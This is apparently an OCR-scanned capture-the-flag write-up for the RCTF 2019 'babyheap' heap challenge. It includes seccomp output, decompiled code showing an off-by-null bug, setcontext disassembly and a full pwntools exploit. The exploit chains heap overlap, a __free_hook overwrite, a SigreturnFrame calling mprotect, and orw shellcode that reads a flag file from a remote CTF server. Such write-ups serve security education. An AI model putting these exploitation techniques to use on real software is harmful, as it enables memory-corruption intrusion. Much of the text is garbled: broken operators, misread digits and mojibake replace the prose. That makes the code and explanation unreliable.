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i~/ctf/pwn2# checksec rctf 2019 babyheap
[*] '"/root/ctf/pwn2/rctf_2019 babyheap'
Arch: amd64-64-1little
RELRO:
Stack:
NX:
PIE:

B ERWHRY, fexecveZEMT, RitorwT

i~/ctf/pwn2# seccomp-tools dump ./rctf 2019 babyheap
CODE JT JF

Ox00000004
OxcO00003e 1if (A == ARCH X86 64) goto 0003

0x00000000 return KILL

0x00000000 A = sys number

Ox00000029 if (A != socket) goto 0006
Ox00000000 return KILL
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!= execve) goto ODOOG
Ox00000000 return KILL
Ox00000039 if (A != fork) goto 0010
Ox00000000 return KILL
0x0000009d if (A != prctl) goto 0012
Ox00000000 return KILL
Ox0000003a if (A != vfork) goto 0014
Ox00000000 return KILL

0x00000065 1if (A != ptrace) goto 0016
Ox00000000 return KILL

Ox0000003e if (A != kill) goto 0018
Ox00000000 return KILL

0x00000038 1if (A != clone) goto 0020
Ox00000000 return KILL

Ox7FffOO00 return ALLOW https://blog.csdn.netfiw
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read(fd, &ptrs, 8ull);

close(+d);

ptrs = (void *)}((unsigned int)ptrs & BxFFFFRE0A);
mallopt(l, @);

if ( mm trs, @x1@eeull, 3, 34, -1, @LL) != ptrs )

{
puts("mmap error!");
exit(-1);
¥
signal(14, timeout handler);
alarm(@x3Cu);
if ( prctl(38, 1LL, @LL, @LL, @LL) )
{
puts("Could not start seccomp:");
exit(-1);
¥

fEedithH —Aoff-by-nullii i, PARTIX FhiE AL AR 2 Funlinki# A7 Body, A X RATE A bk B ATGYEE A

lunsigned int64 edit()

2i{

3| int v@; f/ STe0 4

4| int vi; // STe4_4

5| _inted v3; // [rsp+0h] [rbp-10h]

6| wunsigned _ int64 v4; // [rsp+8h] [rbp-8h]
8 v4 =  readfsqword(@x28u);

9| printf("Index: ");

10| LODWORD(v2) = get_int();

if ( (51
{
printf("Content: ", v3);
vl = read _n(*((void **)ptrs + 2 * v@), *(( DWORD *)ptrs + 4 * vO + 2));
15 *( BYTE *)(*((_QWORD *)ptrs + 2 * v0) + v1) = @;

16 puts("Edit success :)}"); \
17| 3}
8

else

gned int)v3 >= @ && (signed int)v3 <= 15 && *({ _QWORD *)ptrs + 2 * (signed int)v3) )
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__free_hook

BN ABEEEH T execve, BT ARMNTBAE &S AsystemFj btk T, AR H B R mprotect+shellcodevE AL, BEERIFER E
BEIWP ( )

B, BAlliEsetcontent+53HIHibEE N free_hook , HEHZ FOX10FZTHNAFEFE EFHIE _ free_hook +Ox18HIHbhE, &5
i Fshellcode1 5 A\ :

setcontextf] £ EALIN T :

setcontext>: push rdi

setcontext+1>: lea rsi,[rdi+0x128]
setcontext+8>: xor edx, edx

setcontext : mov edi,ox2

setcontext : mov rled, 0x8

setcontext : mov eax, oxe

setcontext : syscall

setcontext : pop rdi

setcontext : cmp rax, oxfffffffrfffffool
setcontext : jae Ox7ffff7a54bcO <setcontext+128
setcontext : mov rcx,QWORD PTR [rdi+0xe@]
setcontext : fldenv [rcx]

setcontext : ldmxcsr DWORD PTR [rdi+@x1c@]
setcontext : mov rsp,QWORD PTR [rdi
setcontext . mov rbx,QWORD PTR [rdi
setcontext : mov rbp,QWORD PTR [rdi
setcontext : mov r12,QWORD PTR [rdi
setcontext : mov r13,QWORD PTR [rdi
setcontext : mov r14,QWORD PTR [rdi
setcontext : mov r15,QWORD PTR [rdi
setcontext : mov rcx,QWORD PTR [rdi
setcontext : push rcx

setcontext : mov rsi,QWORD PTR [rdi
setcontext : mov rdx,QWORD PTR [rdi+0x88]
setcontext : mov rcx,QWORD PTR [rdi+0x98]
setcontext : mov r8,QWORD PTR [rdi+0x28]
setcontext : mov r9,QWORD PTR [rdi+0x30]
setcontext : mov rdi,QWORD PTR [rdi+0x68]
setcontext : Xxor eax, eax

setcontext . ret

setcontext : mov rcx,QWORD PTR [rip+0x356951 ] # Ox7ffff7dd3e78
setcontext : neg eax

setcontext : mov DWORD PTR fs:[rcx],eax
setcontext : or rax, Oxffrfffffrrffffft
setcontext : ret
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G, T FATF FH pwntools ¥ SigreturnFrame B PABE 5 B H T IRAE, R EHZSigreturnFrame5 A—/MchunkH, free'E Bl ftik 2
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BAIX B B A FmprotectZ It T — BL N 775 AL IR

SigreturnFrame()
.rsp = free_hook+0x10
.rdi new_addr
.rsi 0x1000
. rdx Vi
.rip libc.sym[ 'mprotect’]

Hmprotect AT 5ERT, rspFEM _ free_hook +0x10, HAFMIMEN _ free_hook +0x18, XFERATHIAT T 3 — Btshellcode, XEk
shellcode ] B )2 318 & W17 H i Ashellcode Ff Bk it 2 #4T
AT — Bishellcoden F :

mov rax, 0x67616c662f2e ;// ./flag
push rax

mov rdi, rsp ;// ./flag
mov rsi, @ ;// O_RDONLY
xor rdx, rdx ;

mov rax, 2 ;// SYS open
syscall

rdi, rax ;// fd
rsi,rsp ;

rdx, 1024 ;// nbytes
rax,@ ;// SYS_read

1,;// fd

rsp ;// buf

rax ;// count

1 ;// SYS_write

9 ;// error_code
, 60

1% Btshellcode s F orwi¥) 75 ¥ i2 Biflag

from pwn import

#r = remote("node3.buuoj.cn", 27089)
#r = process("./rctf 2019 babyheap")

context(log level 'debug', arch ‘amd64’', os

gdb.attach(r,

b *$rebase(0xC2B)

x/10gx $rebase(0x202110)
C




elf ELF("./rctf_2019 babyheap")
ELF('./1libc/1libc-2.23.s0")
one_gadget 16 = [@x45216,0x4526a,0xf02a4,0xf1147]

menu "Choice: \n"

def add(size):
r.recvuntil(menu)
r.sendline('1")
r.recvuntil("Size: ")
r.sendline(str(size))

def delete(index):
.recvuntil(menu)
.sendline('3")
.recvuntil("Index: ")
.sendline(str(index))

def show(index):
.recvuntil(menu)
.sendline('4")
.recvuntil("Index: ")
.sendline(str(index))

def edit(index, content):
r.recvuntil(menu)
.sendline('2")

.recvuntil("Index: ")

.recvuntil("Content: ")

r
r
r.sendline(str(index))
P
P

.send(content)

def pwn():

libc.address

add(ox80)#0

add (0x68)#1

add(exfo)#2

add(0x18)#3

delete(9)

payload 'a'*Ox60 + p64(0x100)

edit(1, payload)

delete(2)

add(ox80)#0

show(1)

malloc_hook = u64(r.recvuntil('\x7f").1ljust(8, '\x00'))
libc.address malloc_hook libc.sym[ ' _malloc_hook" ]
system libc.sym[ "system' ]

free_hook libc.sym[ ' free_hook"]

set_context libc.symbols[ 'setcontext’]
success("libc_base:"+hex(libc.address))

add(0x160)#2

add(0x18)#4
add(0x508)#5
add(0x18)#6
add(0x18)#7
add(0x508)#8
add(0x18)#9

add(0x18)#10

0x58

0x10




edit(5, 'a'*0x4f0+p64(0x500))
delete(5)

edit(4, 'a'*0x18)

add(0x18)#5

add(ox4d8)#11

delete(5)

delete(6)

add(@x38)#5

add(0x4e8)#6

edit(8, 'a'*@x4f0+p64(0x500))
delete(8)

edit(7, 'a'*ox18)
add(0x18)#8
add(ex4d8)#12
delete(8)
delete(9)
add(0x49)#8
delete(6)
add(ox4e8)#6
delete(6)
#pause()

storage = free_hook

fake_chunk storage - 0x20

payload '\x00"' *0x10 p64(9) p64(0x4f1)
edit(11, payload)

payload '\x00"' *0x20 + p64(0) p64(0x4el)
edit(12, payload)

add(ox48)#6

sleep(0.5)

new_addr free_hook &OxFFFFFFFFFFFFFO00
shellcodel I

xor rdi,rdi

mov rsi,%d

mov edx,0x1000

mov eax,@
syscall

jmp rsi

new_addr

p64(0)

p64(0)

p64(fake_chunk)

p64(fake_chunk+8)

p64(0)

edit(6, 'a'*Ox10+p64(set_context+53)+p64(free_hook+0x18)*2+asm(shellcodel))

frame = SigreturnFrame()
frame.rsp = free_hook+0x10
frame.rdi new_addr
frame.rsi 0x1000
frame.rdx = 7

frame.rip libc.sym[ "mprotect’]
edit(12, str(frame))

delete(12)

sleep(0.5)

shellcode2 .
mov rax, 0x67616c662f ;// /flag
push rax

p64(fake_chunk-0x18-5)




mov rdi, rsp ;// /flag

mov rsi, @ ;// O_RDONLY
xor rdx, rdx ;

mov rax, 2 ;// SYS_open
syscall

mov rdi, rax ;// fd

mov rsi,rsp ;

mov rdx, 1024 ;// nbytes
mov rax,@ ;// SYS_read
syscall

mov rdi, 1 ;// fd

mov rsi, rsp ;// buf

mov rdx, rax ;// count
mov rax, 1 ;// SYS_write

syscall

mov rdi, @ ;// error_code
mov rax, 60
syscall

r.sendline(asm(shellcode2))

r.interactive()

if _ _name__ __main__":

#pwn ()

while True:

I3 remote("node3.buuoj.cn", 25576)

try:
pwn ()
except:
r.close()
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